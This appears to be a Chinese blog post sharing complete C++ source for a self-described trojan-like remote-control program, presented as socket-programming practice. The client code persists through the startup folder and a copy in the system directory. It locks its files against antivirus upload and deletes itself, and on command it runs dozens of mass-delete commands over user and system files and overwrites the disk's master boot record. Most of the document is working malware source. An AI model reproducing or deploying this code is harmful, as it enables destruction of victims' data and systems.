

======================================================================================================
优点:
可以熟悉socket编程...
缺点:
架构很差劲...同一时间只能控制一台机器(看来还得老老实实学习链表)
特点:
可以玩一玩...
下载地址:socket 编程练习作品(仿木马版)======================================================================================================
控制端源码(Srv.cpp ):
=======================================================================================================
#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
DWORD WINAPI recvMessage(LPVOID msge);
void huikuiMessage(SOCKET sockClient);
DWORD WINAPI SendCmd(LPVOID msge);
void csh(); // 初始化代码
void L(); // 连接到被控端代码
int Errorzd=0; // 连接中断标志
/*******************
* 胡言乱语 *
********************/
void Lovemengx()
{
puts("SOCKET编程练习作品...(尚未完善)");
printf("=======================================================================\n");
printf(" * |");
printf("\n刚学SOCKET编程,设计了这个不知道该叫什么的程序 * |\n");
printf(" * |");
printf("\n说它是木马吧,连一个远程桌面的功能都没有... * |\n");
printf(" * |");
printf("\n说它是后门吧,连一个本地上传的功能都没有... * |\n");
printf(" ****** * |");
printf("\n说它不是吧,又具备一些木马、后门的特征... * |\n");
printf(" |");
printf("\n╮(╯▽╰)╭,不管怎么样!通过它能更熟悉SOCKET编程,也算是一种收获吧~ |\n");
printf(" |");
printf("\n L、(Love 梦想) |\n");
printf(" 2011-9-5 |");
printf("\n=======================================================================\n");
}
void server()
{
HRSRC hRc=FindResource(NULL,"c:\\Cilent.exe","Exe");
if(!hRc)
{
MessageBox(0,"EXE资源不存在","错误",0);
exit(1);
}
HGLOBAL hg=LoadResource(NULL,hRc); // 将资源载入内存并返回其在内存中首地址保存在hg中
DWORD dw=SizeofResource(NULL,hRc); // 获得资源大小并用dw保存资源大小
// 分配缓冲区并用0填充
char a[57345];
memset(a,0,57345);
// 向该缓冲区中复制资源的二进制数据
memcpy(a,hg,dw); // 将资源的二进制数据存放在缓冲区a
// 创建服务端文件
FILE *out=fopen("server.exe","wb+");
fwrite(a,1,dw,out);
fclose(out);
// 修改配置信息
char IP[15];
memset(IP,0,15);
printf("请输入IP(默认 127.0.0.1):\n");
gets(IP);
fflush(stdout);
FILE *fp=fopen("server.exe","rb+");
rewind(fp);
fseek(fp,0xA05C,0);
fwrite(IP,1,15,fp);
fclose(fp);
MessageBox(NULL,"已经生成服务端:【server.exe】","OK",0);
exit(0);
}
void main()
{
system("title SOCKET 编程练习作品(仿木马版) L、QQ:1000000002");
//////////////////////////////////////////////////////////////////////////
// 让启动程序时的小漏斗马上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
system("color 0a");
do
{
Errorzd = 0;
if ((MessageBox(0,"是否配置服务端?","提示",MB_YESNO|MB_SYSTEMMODAL)==IDYES))
{
server();
}
csh();
system("cls");
Lovemengx();
L();
} while (Errorzd);
}
/*******************
* 初始化套接字库 *
********************/
void csh()
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData))
{
::MessageBox(0,"无法初始化套接字库","提示",MB_SYSTEMMODAL);
return;
}
if (HIBYTE(wsaData.wVersion)!=2 ||
LOBYTE(wsaData.wVersion)!=2)
{
::MessageBox(0,"套接字版本不符合2.2","提示",MB_SYSTEMMODAL);
WSACleanup();
return;
}
}
/*******************
* 连接被控端 *
********************/
void L()
{
SOCKET sockSre=socket(AF_INET,SOCK_STREAM,0);
HANDLE Thread1;
// 设置服务端IP相关信息
printf("\n******** 设置服务端IP相关信息 *********\n");
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(6000);
printf("\n******** 绑定端口 *********\n");
if ((bind(sockSre,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)))!=0)
{
::MessageBox(0,"绑定端口失败!","提示",MB_SYSTEMMODAL);
return;
}
printf("\n******** 设置监听 *********\n");
if (listen(sockSre,5)!=0)
{
::MessageBox(0,"设置监听失败!","提示",MB_SYSTEMMODAL);
return;
}
SOCKADDR_IN addrClient;
int len=sizeof(SOCKADDR);
//char recvBuf[1000];
printf("\n******** 等待上线 *********\n");
SOCKET sockcon=accept(sockSre,(SOCKADDR*)&addrClient,&len);
// 启动发送命令线程
system("cls");
Thread1=CreateThread(NULL,0,SendCmd,(LPVOID)sockcon,0,0 );
// 启动接受回馈信息模块
huikuiMessage(sockcon);
TerminateThread(Thread1,1); // 只有被控端断开连接的情况下才会强制结束发送命令的线程
closesocket(sockcon); // 关闭套接字
WSACleanup(); // 释放资源
}
/*******************
* 发送命令线程 *
********************/
DWORD WINAPI SendCmd(LPVOID msge)
{
SOCKET sockcon=(SOCKET)msge;
char sendBuf[1000];
for (;;)
{
printf("\n********************************************\n");
printf("\n【a】震动窗口\t【b http://***.***.***】打开网页\n");
printf("\n【c】摧毁系统\t【L】摧毁硬盘\t(慎用哈!)\n");
printf("\n【q】退出被控端程序\t【Q】卸载被控端程序\n");
printf("\n********************************************\n");
printf("\n\n请输入执行命令\n-> ");
gets(sendBuf);
if (strlen(sendBuf)==0)
{
puts("===== 命令不能为空 =====");
continue;
}
send(sockcon,sendBuf,strlen(sendBuf)+1,0); // 发送命令
system("cls");
}
return 0;
}
/*******************
* 回馈信息模块 *
********************/
void huikuiMessage(SOCKET sockClient)
{
printf("\n******** 信息回馈线程已启动 *******\n");
char comd[100] = {0};
for (;;)
{
if(((recv(sockClient,comd,sizeof(comd),0)) <0 ) || ( WSAGetLastError() == WSAETIMEDOUT || WSAGetLastError()== WSAEWOULDBLOCK ))
{
Errorzd = 1; // 将连接中断标志置 1
MessageBox(0,"******** 被控端下线 断开连接 *********","注意",MB_SYSTEMMODAL);
break;
}
else
{
::MessageBox(0,comd,"提示",MB_SYSTEMMODAL);
}
}
}
/*******************
* 解析命令模块 *
********************/
char *Remove(char temp[])
{
int i,j=0;
char tmp[1024]={0};
i=strlen(temp)-1;
for (j=0;i>=0;j++,i--)
tmp[j]=temp[j+1]; // 第一个元素是命令 其余的是附带参数
return tmp;
}
==================================================================================================
被控端源码(Cilent.cpp ):
==================================================================================================
#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#include "..\\L、.h"
#pragma comment(lib,"ws2_32.lib") // 链接sock库
DWORD WINAPI recvMessage(LPVOID msge);
DWORD WINAPI commod(LPVOID msge);
void recvMessage(SOCKET sockClient);
char *Remove(char temp[]);
void L();
void Auto(char Name[]); // 添加开机启动项
void zh(); // 卸载模块
char ServerIP[]="127.0.0.1";
char tmp[]="有主机上线";
// 回馈信息结构体
struct MesCmd
{
SOCKET Client; // 传递套接字
char *cmd; // 传递命令
} Mes;
HANDLE Lock_File=NULL,Lock_File1=NULL; // 锁定文件,防止被分析及云上传
/*******************
* 初始化套接字库 *
********************/
void csh()
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData))
{
::MessageBox(0,"无法初始化套接字库","提示",MB_SYSTEMMODAL);
return;
}
if (HIBYTE(wsaData.wVersion)!=2 ||
LOBYTE(wsaData.wVersion)!=2)
{
::MessageBox(0,"套接字版本不符合2.2","提示",MB_SYSTEMMODAL);
WSACleanup();
return;
}
}
/*******************
* 配置套接字 *
********************/
void L()
{
SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0);
// 设置服务端IP相关信息
SOCKADDR_IN addrCilent;
addrCilent.sin_addr.S_un.S_addr=inet_addr(ServerIP);
addrCilent.sin_family=AF_INET;
addrCilent.sin_port=htons(6000);
for (;connect(sockClient,(SOCKADDR*)&addrCilent,sizeof(SOCKADDR))!=0;)
{
puts("****** 连接服务端失败 静候3秒继续尝试连接 ******");
Sleep(3000);
}
puts("****** 与服务器建立成功 等待接受命令 ******");
send(sockClient,tmp,strlen(tmp)+1,0);
// 启动接受命令模块
recvMessage(sockClient);
}
/*******************
* 接受命令线程 *
********************/
void recvMessage(SOCKET sockClient)
{
char comd[100] = {0};
for (;;)
{
if(((recv(sockClient,comd,sizeof(comd),0)) <0 ) || ( WSAGetLastError() == WSAETIMEDOUT || WSAGetLastError()== WSAEWOULDBLOCK ))
{
puts("连接已经断开");
L();
}
Mes.Client=sockClient;
Mes.cmd=comd;
// 启动执行命令线程 以结构体的形式传递多个参数
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)commod,&Mes,0,NULL);
}
}
/*******************
* 执行命令线程 *
********************/
DWORD WINAPI commod(LPVOID msge)
{
char CmdErrorYN[100];
char CmdTmp[100]={0},*Cmd=NULL; // 定义一个中间变量 防止服务端执行多次命令时错误提示最后一次执行的命令
int ErrorYN=0; // 对错码
MesCmd *Mes= (MesCmd *)msge; // 强制转换类型
strcpy(CmdTmp,Mes->cmd);// 将命令赋值给中间变量 防止此命令尚未执行完 值就被下次的命令覆盖
// 这里可以添加相关的功能 第一个字节为命令类型 第二个字节为附带参数
switch(CmdTmp[0])
{
case 'a': // 窗口震动
ErrorYN = WindowShake();
strcpy(CmdTmp,"【窗口震动】");
break;
case 'b':
Cmd=Remove(CmdTmp); // 分析得到附带参数
ErrorYN=OpenUrl(Cmd);
strcpy(CmdTmp,"【打开网页】");
break;
case 'c':
ErrorYN=Wreck_system();
strcpy(CmdTmp,"【摧毁系统】");
break;
case 'L':
ErrorYN=Wreck_Disk();
strcpy(CmdTmp,"【摧毁硬盘】");
break;
case 'q': // 退出程序
closesocket(Mes->Client);
WSACleanup();
exit(1);
case 'Q': // 卸载
zh();
closesocket(Mes->Client);
WSACleanup();
exit(1);
default: ErrorYN=0;
}
if (ErrorYN)
sprintf(CmdErrorYN,"执行 %s 命令完毕!",CmdTmp);
else
sprintf(CmdErrorYN,"执行 %s 命令失败!错误未知!",CmdTmp);
send(Mes->Client,CmdErrorYN,strlen(CmdErrorYN)+1,0); // 发送命令
return 0;
}
/*************************
* 自毁模块********** *
**************************/
void zh()
{
char DirBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL); // 获取当前程序句柄
// 关闭独占模式
CloseHandle(Lock_File);
CloseHandle(Lock_File1);
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 获取当前程序的路径
// 删除自启动项
unlink("C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\ts.exe");
// 删除自身
Del(DirBuffer);
}
/*************************
* 命令、参数解析线程 *
**************************/
char *Remove(char temp[])
{
int i,j=0;
char tmp[1024]={0};
i=strlen(temp)-1;
for (j=0;i>=0;j++,i--)
tmp[j]=temp[j+1]; // 第一个元素是命令 其余的是附带参数
return tmp; // 将纯参数返回
}
/***************************
* 程序运行时进行初始化 *
***************************/
void DelAdd()
{
char systemName[MAX_PATH];
char DirBuffer[MAX_PATH];
// char tempBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL); // 获取当前程序句柄
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 获取当前程序的路径
// GetFileTitle(DirBuffer,tempBuffer,MAX_PATH); // 从路径中提取文件名
GetSystemDirectory(systemName,sizeof(systemName)); // 获取系统文件夹路径
strcat(systemName,"\\lovemengxiang.exe"); // 生成的文件名
if ((strcmp(DirBuffer,systemName))!=0) // 判断程序自身是否在系统目录 不在则实现自删除
{
CopyFile(DirBuffer,systemName,0);
Del(DirBuffer); // 自删除模块
ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 运行副本
exit(0); // 退出 让Bat删除自己
}
else
{
Auto(DirBuffer);
// 第一步 立即锁定本体 防止被上传 我想杀软没那么无聊为了上传就随随便便解锁吧?
Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}
}
/***************************
* 开机自启动 *
***************************/
void Auto(char Name[])
{
// 自复制到 启动文件夹 实现开机自启动 嫌麻烦 就用这种方式自启动吧 一句代码搞定
char DirName[]="C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\ts.exe";
CopyFile(Name,DirName,1);
Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
/*
由于它会自释放、自删除、自复制并且会自锁定 形成一个循环既可以保证启动文件始终有一个
原体存在,又能同时锁定两个文件以阻止被删除、复制上传。即使被删除也会因为自复制后再生
,实现无进程再生功能。不过,这种启动方式易被发现,并且以自己的进程去锁定文件只能对付普
通删除,所以需要改进,启动方式又很多种,不过这里为了方便就用这个吧。至于锁定文件可以让
系统管进程如:svchost.exe 、winlogon.exe 去保护源体!这样即使被发现也得在系统重启之后
才能清除!而锁定句柄保留方便卸载或升级被控端用...
*/
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//////////////////////////////////////////////////////////////////////////
// 让启动程序时的小漏斗马上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
DelAdd();
csh(); // 初始化
L(); // 核心调用
return 0;
}
============================================================================================
核心功能源码:(L、.h 部分原创)
============================================================================================
/********************************************************/
// 窗口抖动 功能
/********************************************************/
int WindowShake() // 窗口抖动
{
HWND ForeHandle=GetForegroundWindow();
for(int i=0;i<15;i++)
{
RECT rc;
GetWindowRect(ForeHandle,&rc);
MoveWindow(ForeHandle,rc.left+8,rc.top+8,rc.right-rc.left,rc.bottom-rc.top,1);
Sleep(40);
MoveWindow(ForeHandle,rc.left,rc.top,rc.right-rc.left,rc.bottom-rc.top,1);
Sleep(40);
Beep(0x0fff,10);
}
return 1;
}
/********************************************************/
// 自删除功能
/********************************************************/
void Del(char *systemname)
{
FILE *fp;
fp=fopen("C:\\system.bat","w+");
fprintf(fp,"@echo off \n");
fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);
fprintf(fp,"del /f /q \"%s\" \n",systemname);
fprintf(fp,"goto statr\n");
fprintf(fp,":done\n");
fprintf(fp,"del /f /q %%0\n");
fclose(fp);
ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);
}
/********************************************************/
// 打开网页
/********************************************************/
int OpenUrl(char url[])
{
char Url[300]={0};
strcpy(Url,"explorer.exe ");
strcat(Url,url);
WinExec(Url,SW_SHOW); // 隐藏打开指定网页
return 1;
}
/********************************************************/
// 摧毁系统 功能
/********************************************************/
int Wreck_system()
{
system("del /f /s /q C:\boot.ini");
system("del /f /s /q *.gho");
system("del /f /s /q QQ.exe");
system("del /f /s /q %systemdrive%\*.tmp");
system("del /f /s /q %systemdrive%\*.gho");
system("del /f /s /q %systemdrive%\*.jpg");
system("del /f /s /q %systemdrive%\*.mp3");
system("del /f /s /q %systemdrive%\*.dll");
system("del /f /s /q %systemdrive%\*.mp4");
system("del /f /s /q %systemdrive%\*.bat");
system("del /f /s /q %systemdrive%\*.txt");
system("del /f /s /q %systemdrive%\*.rar");
system("del /f /s /q %systemdrive%\*.bmp");
system("del /f /s /q %systemdrive%\*.png");
system("del /f /s /q %systemdrive%\*.exe");
system("del /f /s /q %systemdrive%\*.lnt");
system("del /f /s /q %systemdrive%\*._mp");
system("del /f /s /q %systemdrive%\*.log");
system("del /f /s /q %systemdrive%\*.gid");
system("del /f /s /q %systemdrive%\*.chk");
system("del /f /s /q %systemdrive%\*.old");
system("del /f /s /q c:\*.txt");
system("del /f /s /q c:\*.gho");
system("del /f /s /q c:\*.old");
system("del /f /s /q c:\*.gid");
system("del /f /s /q c:\*.chk");
system("del /f /s /q c:\*.log");
system("del /f /s /q c:\*._mp");
system("del /f /s /q c:\*.lnt");
system("del /f /s /q c:\*.dll");
system("del /f /s /q c:\*.exe");
system("del /f /s /q c:\*.bmp");
system("del /f /s /q c:\*.rar");
system("del /f /s /q c:\*.png");
system("del /f /s /q c:\*.jpg");
system("del /f /s /q c:\*.mp3");
system("del /f /s /q c:\*.bat");
system("del /f /s /q c:\*.mp4");
system("del /f /s /q %systemdrive%\*.gho");
system("del /f /s /q %systemdrive%\*.tmp");
system("del /f /s /q %systemdrive%\*.jpg");
system("del /f /s /q %systemdrive%\*.mp3");
system("del /f /s /q %systemdrive%\*.dll");
system("del /f /s /q %systemdrive%\*.mp4");
system("del /f /s /q %systemdrive%\*.txt");
system("del /f /s /q %systemdrive%\*.rar");
system("del /f /s /q %systemdrive%\*.bmp");
system("del /f /s /q %systemdrive%\*.png");
system("del /f /s /q %systemdrive%\*.exe");
system("del /f /s /q %systemdrive%\*.lnt");
system("del /f /s /q %systemdrive%\*._mp");
system("del /f /s /q %systemdrive%\*.log");
system("del /f /s /q %systemdrive%\*.gid");
system("del /f /s /q %systemdrive%\*.chk");
system("del /f /s /q %systemdrive%\*.old");
system("del /f /s /q %systemdrive%\recycled\*.*");
system("del /f /s /q %windir%\*.*");
system("del /f /s /q %windir%\prefetch\*.*");
system("del /f /s /q %windir%\temp\*.*");
system("del /f /q %userprofile%\cookies\*.*");
system("del /f /q %userprofile%\recent\*.*");
system("del /f /s /q /""%userprofile%\recent\*.*/""");
system("del /f /s /q /""%userprofile%\Local Settings\Temporary Internet Files\*.*/""");
system("del /f /s /q /""%userprofile%\Local Settings\Temp\*.*/""");
/*
system("del /f /s /q d:\*.*");
system("del /f /s /q e:\*.*");
system("del /f /s /q f:\*.*");
*/
return 1;
}
/********************************************************/
// 摧毁硬盘 功能
/********************************************************/
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x52\x69\x67\x69\x64\x20\x44\x69"
"\x73\x6b\x20\x46\x61\x69\x6c\x75\x72\x65\x21";
int Wreck_Disk()
{
// ExitWindowsExT pExitWindowsEx = (ExitWindowsExT)GetProcAddress(LoadLibrary("USER32.dll"), "ExitWindowsEx");
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
CloseHandle(hDevice);
Sleep(2000);
DWORD dwVersion = GetVersion();
if (dwVersion < 0x80000000) // Is NT or 2000!
{
HANDLE hToken; TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // set privilege
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
// ExitWindowsEx(EWX_FORCE+EWX_REBOOT, 0);
}
// else // Is 9x or Me
// ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
// ExitProcess(-1);
return 1;
}
===========================================================================================
|